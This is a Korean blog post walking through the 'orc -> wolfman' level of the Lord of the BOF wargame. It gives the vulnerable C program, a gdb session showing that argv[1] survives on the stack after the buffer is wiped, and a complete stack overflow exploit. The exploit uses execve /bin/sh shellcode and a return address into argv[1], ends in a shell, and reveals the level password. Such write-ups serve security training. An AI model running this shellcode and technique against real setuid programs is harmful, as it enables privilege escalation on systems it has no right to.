ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL5] (orc -> wolfman) : egghunter + bufferhunter
    Wargame/LordOfTheBof (redhat) 2013. 6. 27. 13:25

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - wolfman
            - egghunter + buffer hunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// buffer hunter
    	memset(buffer, 0, 40);
    }
    

    LEVEL4 와 마찬가지로 환경변수 초기화, argv[1][47]을 if문으로 \xbf인지 체크한다.

    이외에도 하나가 더 추가되었는데 바로 buffer를 초기화한다. 따라서 buffer에는 shellcode를 넣을 수 없다.


    2. argv[1]에 shellcode 삽입

    argv는 argc와 함께 main함수에 들어가기 전 stack에 저장되게 된다.

    따라서 strcpy로 buffer에 복사된 뒤, buffer는 초기화 되더라도 argv[1]에 있는 값은 그대로 stack에 남아있게 된다.

    이를 확인해 보자.


    우선 원본파일에는 권한이 없기 때문에 GDB 사용에 어려움이 따를수도 있다. 원본을 복사하여 사용하자.

    (참고 : 원본파일과 파일명 길이가 다를경우 메모리 주소에 차이가 있을수도 있으니, 가능하면 파일명은 같은 길이로 복사하자)

    [orc@localhost orc]$ cp wolfman wolfmaa


    이후 복사본을 gdb로 열어 분석한다.

    [orc@localhost orc]$ gdb -q wolfmaa

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x8048500 <main>: push   %ebp

    0x8048501 <main+1>: mov    %ebp,%esp

    0x8048503 <main+3>: sub    %esp,44

    ...중략...

    0x80485b9 <main+185>: lea    %eax,[%ebp-40]

    0x80485bc <main+188>: push   %eax

    0x80485bd <main+189>: call   0x8048440 <strcpy>

    0x80485c2 <main+194>: add    %esp,8

    0x80485c5 <main+197>: lea    %eax,[%ebp-40]

    0x80485c8 <main+200>: push   %eax

    0x80485c9 <main+201>: push   0x8048669

    0x80485ce <main+206>: call   0x8048410 <printf>

    0x80485d3 <main+211>: add    %esp,8

    0x80485d6 <main+214>: push   40

    0x80485d8 <main+216>: push   0

    0x80485da <main+218>: lea    %eax,[%ebp-40]

    0x80485dd <main+221>: push   %eax

    0x80485de <main+222>: call   0x8048430 <memset>

    0x80485e3 <main+227>: add    %esp,12

    0x80485e6 <main+230>: leave  

    0x80485e7 <main+231>: ret    


    프로그램 시작 직후<main>, strcpy 이후<main+197>, memset 이후<main+230> 총 3곳에 break point를 걸어 확인해보겠다.

    (gdb) b *main

    (gdb) b *main+197

    (gdb) b *main+230


    우선 첫번째 break point인 프로그램 시작 직후<main> 에서 argv[1]을 확인해보자

    (gdb) r `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`                                      

    Starting program: /home/orc/wolfmaa `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`


    Breakpoint 1, 0x8048500 in main ()

    (gdb) x/120wx $esp

    0xbffffaec: 0x400309cb 0x00000002 0xbffffb34 0xbffffb40

    0xbffffafc: 0x40013868 0x00000002 0x08048450 0x00000000

    ...중략...

    0xbffffc3c: 0x6c6f772f 0x61616d66 0x41414100 0x41414141

    0xbffffc4c: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffc5c: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffc6c: 0x42424241 0xbfbfbf42 0x575000bf 0x682f3d44

    0xbffffc7c: 0x2f656d6f 0x0063726f 0x4f4d4552 0x4f484554

    (gdb) x/s 0xbffffc45

    0xbffffc45: 'A' <repeats 40 times>, "BBBB����"

    상당히 윗부분에 있지만, 역시 입력값이 그대로 저장되어 있다.

    또한 argv[1]의 주소는 0xbffffc45 인것을 볼 수 있다.


    이제 strcpy로 argv[1]의 값이 복사된 buffer를 보자. <main+197>

    (gdb) n

    Single stepping until exit from function main, 

    which has no line number information.


    Breakpoint 2, 0x80485c5 in main ()

    (gdb) x/40wx $esp

    0xbffffabc: 0x00000016 0x41414141 0x41414141 0x41414141

    0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffadc: 0x41414141 0x41414141 0x41414141 0x42424242

    0xbffffaec: 0xbfbfbfbf 0x00000000 0xbffffb34 0xbffffb40

    0xbffffafc: 0x40013868 0x00000002 0x08048450 0x00000000

    0xbffffb0c: 0x08048471 0x08048500 0x00000002 0xbffffb34

    0xbffffb1c: 0x08048390 0x0804861c 0x4000ae60 0xbffffb2c

    0xbffffb2c: 0x40013e90 0x00000002 0xbffffc33 0xbffffc45

    0xbffffb3c: 0x00000000 0xbffffc76 0xbffffc84 0xbffffc9e

    0xbffffb4c: 0xbffffcbd 0xbffffcdf 0xbffffce8 0xbffffeab

    (gdb) x/s 0xbffffac0

    0xbffffac0: 'A' <repeats 40 times>, "BBBB����"

    n - next의 약자로 다음 break point까지 실행한다.

    값이 예쁘게 잘 복사되어 있다. 또 buffer의 시작주소는 0xbffffac0인 것을 알 수 있다.

    이후 memset <main+230>이 되고, buffer의 값이 모두 초기화 될것이다. 


    한번 확인해보자.

    (gdb) n

    Single stepping until exit from function main, 

    which has no line number information.

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����


    Breakpoint 3, 0x80485e6 in main ()

    (gdb) x/40wx 0xbffffac0

    0xbffffac0: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffad0: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffae0: 0x00000000 0x00000000 0x42424242 0xbfbfbfbf

    0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868

    0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471

    0xbffffb10: 0x08048500 0x00000002 0xbffffb34 0x08048390

    0xbffffb20: 0x0804861c 0x4000ae60 0xbffffb2c 0x40013e90

    0xbffffb30: 0x00000002 0xbffffc33 0xbffffc45 0x00000000

    0xbffffb40: 0xbffffc76 0xbffffc84 0xbffffc9e 0xbffffcbd

    0xbffffb50: 0xbffffcdf 0xbffffce8 0xbffffeab 0xbffffeca

    역시 buffer가 모두 0으로 초기화 되었다. 이제 argv[1] 부분을 다시 확인해보자.


    (gdb) x/20wx 0xbffffc45

    0xbffffc45: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffc55: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffc65: 0x41414141 0x41414141 0x42424242 0xbfbfbfbf

    0xbffffc75: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffffc85: 0x00000000 0x00000000 0x00000000 0x00000000

    예상대로 멀쩡하다. 따라서 buffer에 값을 넣듯 argv[1]로 shellcode를 프로그램에 전달하면, buffer값은 초기화 되겠지만 argv[1]에는 여전히 shellcode가 존재하므로 argv[1]의 주소값을 eip로 덮으면 되겠다.

    이전 LEVEL4 에서도 설명했듯, gdb로 보는것과 실제 주소값은 차이가 있을수도 있으니 깔끔하게 프로그램을 짜도록 하자.


    wolfman의 source code를 그대로 복사해서 argv[1]의 주소값을 출력해주는 code를 추가하자.

    [orc@localhost orc]$ cp wolfman.c wolfmaa.c

    [orc@localhost orc]$ vi wolfmaa.c 

    // ...중략...
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
            // buffer hunter
            memset(buffer, 0, 40);
            printf("%#x\n", argv[1]); // <- 이 한줄을 추가
    }


    컴파일 후 실행하면 argv[1]의 주소값이 출력된다. (역시 gdb로 볼때와 주소가 다른것을 알 수 있다)

    [orc@localhost orc]$ gcc -o wolfmaa wolfmaa.c

    [orc@localhost orc]$ ./wolfmaa `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    0xbffffc41

    Segmentation fault

    이제 출력된 argv[1]의 주소 0xbffffc41을 이용해 Exploit을 진행하자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 25 Byte)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


    아래는 최종 구성이다.

    shellcode 

    NOP 

    SFP

    RET 

     25 Byte

    15 Byte

    4 Byte(NOP) 

    4 Byte 

     40 Byte


    [orc@localhost orc]$ bash2

    [orc@localhost orc]$ ./wolfman `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\x41\xfc\xff\xbf'"`

    1�Ph//shh/bin��PS��1Ұ

                         �������������������A���

    bash$ my-pass

    euid = 505

    love eyuna


    성공 !


Designed by Tistory.